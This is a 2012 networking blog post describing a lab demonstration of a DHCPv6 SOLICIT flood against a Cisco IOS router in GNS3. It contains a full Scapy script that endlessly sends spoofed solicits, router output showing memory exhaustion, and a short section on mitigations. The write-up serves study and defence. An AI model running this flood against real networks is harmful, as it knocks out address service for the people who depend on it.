CCIE, the beginning!

January 27, 2012

DHCPv6 fake attack

Filed under: DHCPv6,IPv6,Security — cciethebeginning @ 9:21 am
Tags: , ,

DHCPv6 relies on stateless UDP communication using UDP 546 and UDP 547 ports. As stated in the RFC 3315 this is makes DHCPv6 particularly vulnerable to fake attack in which SOLICIT messages are generated with random source prefixes.

Particularly in rapid-commit where ONLY two messages are exchanged between the client and the server to get an IPv6 prefix.

Picture1: lab topology – IOS 12.4(24)T implemented in GNS3

DHCPv6 server configuration:

ipv6 dhcp pool SLAAC-POOL
address prefix 2001:DB8:5AB::/64 lifetime infinite infinite
dns-server 2001:DB8:5AB::57

domain-name nouri.com

!

interface FastEthernet1/0

ip address 192.168.0.202 255.255.255.0

ipv6 address 2001:DB8::202/64

ipv6 enable


ipv6 dhcp server pool0 rapid-commit

end

Layer2 Switch configuration:

interface FastEthernet1/0
switchport access vlan 10
!

interface FastEthernet1/1

switchport mode trunk

Below is the Scapy script used for the attack, though awkward, but do the job.

You can enter manually the DHCPv6 sever MAC address from the local neighbor table of through a script by pinging all DHCP agents multicast address FF02::1:2.

SOLCIT messages are sent blindly without even expecting any responses.

# -*- coding: utf-8 -*-
#! /usr/bin/env python
# DHCPv6 fake attack

# Date: 28/10/11

# Author: AJ NOURI (cciethebeginning.wordpress.com)

from scapy.all import *

from netaddr import *

# or from netaddr.strategy.ipv6 import *

import random

class randmac():

“”" Generates two forms of random MAC address

and corresponding Link Local EUI-64 IPv6 address”"”

def __init__(self):

“”"

Generates MAC address string by chunks of one byte

“”"

random.seed()

self.mac11 = str(hex(random.randint(0,255))[2:])

self.mac12 = str(hex(random.randint(0,255))[2:])

self.mac21 = str(hex(random.randint(0,255))[2:])

self.mac22 = str(hex(random.randint(0,255))[2:])

self.mac31 = str(hex(random.randint(0,255))[2:])

self.mac32 = str(hex(random.randint(0,255))[2:])

def form1b(self):

“”" format 1 XX:XX:XX:XX:XX:XX”"”

self.rez1 = self.mac11 + “:” + self.mac12 + “:” + self.mac21 + “:” + self.mac22 + “:” + self.mac31 + “:” + self.mac32

return self.rez1

def form2b(self):

“”" format 2 XXXX.XXXX.XXXX”"”

self.rez2 = self.mac11 + self.mac12 + “.” + self.mac21 + self.mac22 + “.” + self.mac31 + self.mac32

return self.rez2

def eui64(self):

“”" Generates interface ID in EUI-64 format”"”

self.rez3 = self.mac11 + self.mac12 + “:” + self.mac21 + “ff” + “:” + “fe” + self.mac22 + “:” + self.mac31 + self.mac32

return self.rez3

def ip6_ll_eui64(self):

“”" Generates Link-local IPv6 addres in EUI-64 format”"”

self.ip6_ll_eui64 = “fe80″ + “::” + self.eui64()

return self.ip6_ll_eui64

def main():

# Building and initilizing DHCP SOLICIT packet layers with common parameters

l2 = Ether()

l3 = IPv6()

l4 = UDP()

sol = DHCP6_Solicit()

rc = DHCP6OptRapidCommit()

opreq = DHCP6OptOptReq()

et= DHCP6OptElapsedTime()

cid = DHCP6OptClientId()

iana = DHCP6OptIA_NA()

rc.optlen = 0

opreq.optlen = 4

iana.optlen = 12

iana.T1 = 0

iana.T2 = 0

cid.optlen = 10

“”" DHCPv6 MAC address: you can enter manually or as argument to the script or get it automatically

    ”"” by pinging DHCPv6 agent multicast ff02::1:2

    macdst = “ca:00:39:b8:00:06″

l2.dst = macdst

l3.dst = “ff02::1:2″

l4.sport = 546

l4.dport = 547

#for i in range(1,1000):

while(1 == 1):

    # Generating MAC and its corresponding IPv6 link-local in EUI-64 format

    macs = randmac()

macsrc = macs.form1b()

ipv6llsrc = macs.ip6_ll_eui64()

    # Initializaing the source addreses

l2.src = macsrc

l3.src = ipv6llsrc

random.seed()

    # Generating SOLICIT message id

sol.trid = random.randint(0,16777215)

    # Generating DUID-LL

cid.duid = (“00030001″+ str(EUI(macsrc)).replace(“-”,”")).decode(“hex”)

    # Assembing the packet

pkt = l2/l3/l4/sol/iana/rc/et/cid/opreq

try:

     # GO!

     sendp(pkt, iface=’eth1′)

    except KeyboardInterrupt:

print ‘Program Interrupted by user’

break

if __name__==”__main__”:main()

Picture2: Fake DHCPv6 SOLICIT packets in Wireshark

Victim router:

R2#sh ipv6 dhcp pool
DHCPv6 pool: SLAAC-POOL
Address allocation prefix: 2001:DB8:5AB::/64 valid 4294967295 preferred 4294967295 (91725 in use, 0 conflicts)

DNS server: 2001:DB8:5AB::57

Domain name: nouri.com

Active clients: 91725

R2#

Look already at the number of faked active clients!

With a mask of /64 there are 18,446,744,073,709,551,616 hosts. Obviously the purpose is not to deplete the DHCPv6 prefixes; it will take a ridiculous amount of time to exhaust the pool. It is about CPU and memory resources exhaustion.

Resource consumption:

Baseline before the attack:

R2#sh proc mem | i v6
86 0 0 0 7204 0 0 IPv6 Echo event
132 0 0 0 7204 0 0 IPv6 Inspect Tim

179 0 0 0 7204 0 0 IPSECv6 PS Proc

190 0 316 0 7432 0 0 DHCPv6 Listener

258 0 15156 0 12432 0 0 IPv6 RIB Event H

259 0 4004 0 17040 0 0 CEF: IPv6 proces

260 0 288 0 10648 0 0 IPv6 IDB

261 0 38096 288 40412 0 0 IPv6 Input

262 0 44780 6936 23484 0 0 IPv6 ND

263 0 0 0 7236 0 0 IPv6 Address

265 0 9076 0 9076 0 0 DHCPv6 Database

266 0 0 0 7204 0 0 DHCPv6 Server

268 0 0 0 7204 0 0 DHCPv6 DB Timer

R2#

During the attack:

R2#sh proc mem | i v6
86 0 0 0 7204 0 0 IPv6 Echo event
132 0 0 0 7204 0 0 IPv6 Inspect Tim

179 0 0 0 7204 0 0 IPSECv6 PS Proc

258 0 1484 0 11828 0 0 IPv6 RIB Event H

259 0 1572 320 14524 0 0 CEF: IPv6 proces

260 0 0 0 10292 0 0 IPv6 IDB

261 0 34088 100 24960 10152 0 IPv6 Input

262 0 128663824 647344 158220 79444476 60912 IPv6 ND

263 0 0 0 7312 0 0 IPv6 Address

265 0 9080 0 9080 0 0 DHCPv6 Database

266 0 226002424 24624328 63101544 68268816 81216 DHCPv6 Server

267 0 316 0 7520 0 0 DHCPv6 Listener

268 0 0 0 7204 0 0 DHCPv6 DB Timer

R2#

Baseline (before the attack):

R2#sh proc mem
Processor Pool Total: 128640748
Used: 34955488
Free: 93685260
I/O Pool Total: 16777216 Used: 4253200 Free: 12524016

Transient Pool Total: 16777216 Used: 29880 Free: 16747336

PID TTY Allocated Freed Holding Getbufs Retbufs Process

During the attack:

R2#sh proc mem
Processor Pool Total: 128640536
Used: 126237444
Free: 2403092
I/O Pool Total: 16777216 Used: 4412080 Free: 12365136

Transient Pool Total: 16777216 Used: 27800 Free: 16749416

PID TTY Allocated Freed Holding Getbufs Retbufs Process

100% of interrupt processing caused by DHCPv6 and ND processes activities.

R2#sh proc cpu
CPU utilization for five seconds: 92%/100%; one minute: 87%; five minutes: 83%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process

OK, maybe the effect on CPU will not be so harmful with HW equipments, but each binding table association will take the same amount of memory and in our case approximately 30 minutes later.

The 128 Mbytes of our DHCPv6 router memory is depleted and the router starts firing syslog messages to signal the problem:

The Denial of Service involves the binding table associated to the DHCPv6 configuration pool

The DHCPv6 server maintains an automatic binding table in memory to track the assignment of some configuration parameters, such as prefixes between the server and its clients.
Each DHCPv6 configuration pool has an associated binding table. The binding table contains the records about all the prefixes in the configuration pool that have been explicitly delegated to clients. Each entry in the binding table contains the following information:

  • Client DUID
  • Client IPv6 address
  • A list of IAPDs associated with the client
  • A list of prefixes delegated to each IAPD
  • Preferred and valid lifetimes for each prefix
  • The configuration pool to which this binding table belongs

The network interface on which the server that is using the pool is running

Imagine what you can do with a more sophisticated piece of software or with HW tools like Ixia or Spirent.

Pool: Processor Free: 58968 Cause: Memory fragmentation
Alternate Pool: None Free: 0 Cause: No Alternate pool
-Process= “DHCPv6 Server“, ipl= 0, pid= 266, -Traceback= 0x6000A944z 0x600238C8z 0x63D60D6Cz 0x6220DB68z 0x622152E8z 0x62210170z 0x62210498z 0x62211128z 0x622112C8z 0x63079090z 0x63079074z

*Jan 21 19:46:24.669: %SYS-2-MALLOCFAIL: Memory allocation of 320 bytes failed from 0x6220DB60, alignment 0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Here more self-explanatory figures about the event:

Picture3: CPU utilization


Picture4: memory utilization


Though the DHCPv6 SOLLICIT messages consume insignificant BW, the harm is caused by the amount of memory allocated by each packet.


To clear the DHCPv6 router binding table:

R2#clear ipv6 dhcp bind *

Threat mitigation:

Here is a couple of threat mitigation tools you need to consider to mitigate

- 802.1x for layer2 authentication before even attending DHCPc6 process.

- Secure ND (SeND): is a more complex architecture requiring crypto, SeND capable hosts and PKI infrastructure. At least an entire post will be dedicated to it.

- ND related security can be used in the Layer2 switch connecting DHCPv6 clients:

  • IPv6 device tracking to make sure neighbour table contains only live hosts.
  • ND inspection: reject ND messages if MAC is unverifiable.
  • Depending on the expected number of IPv6 users, you can set ND cache limit globally or per interface basis.

References:

http://www.ietf.org/rfc/rfc3315.txt

http://www.ietf.org/id/draft-ietf-dhc-secure-dhcpv6-04.txt

http://www.cisco.com/en/US/docs/ios/ipv6/configuration/guide/ip6-first_hop_security_ps6441_TSD_Products_Configuration_Guide_Chapter.html#wp1155200


Next Page »

Theme: Rubric. Blog at WordPress.com.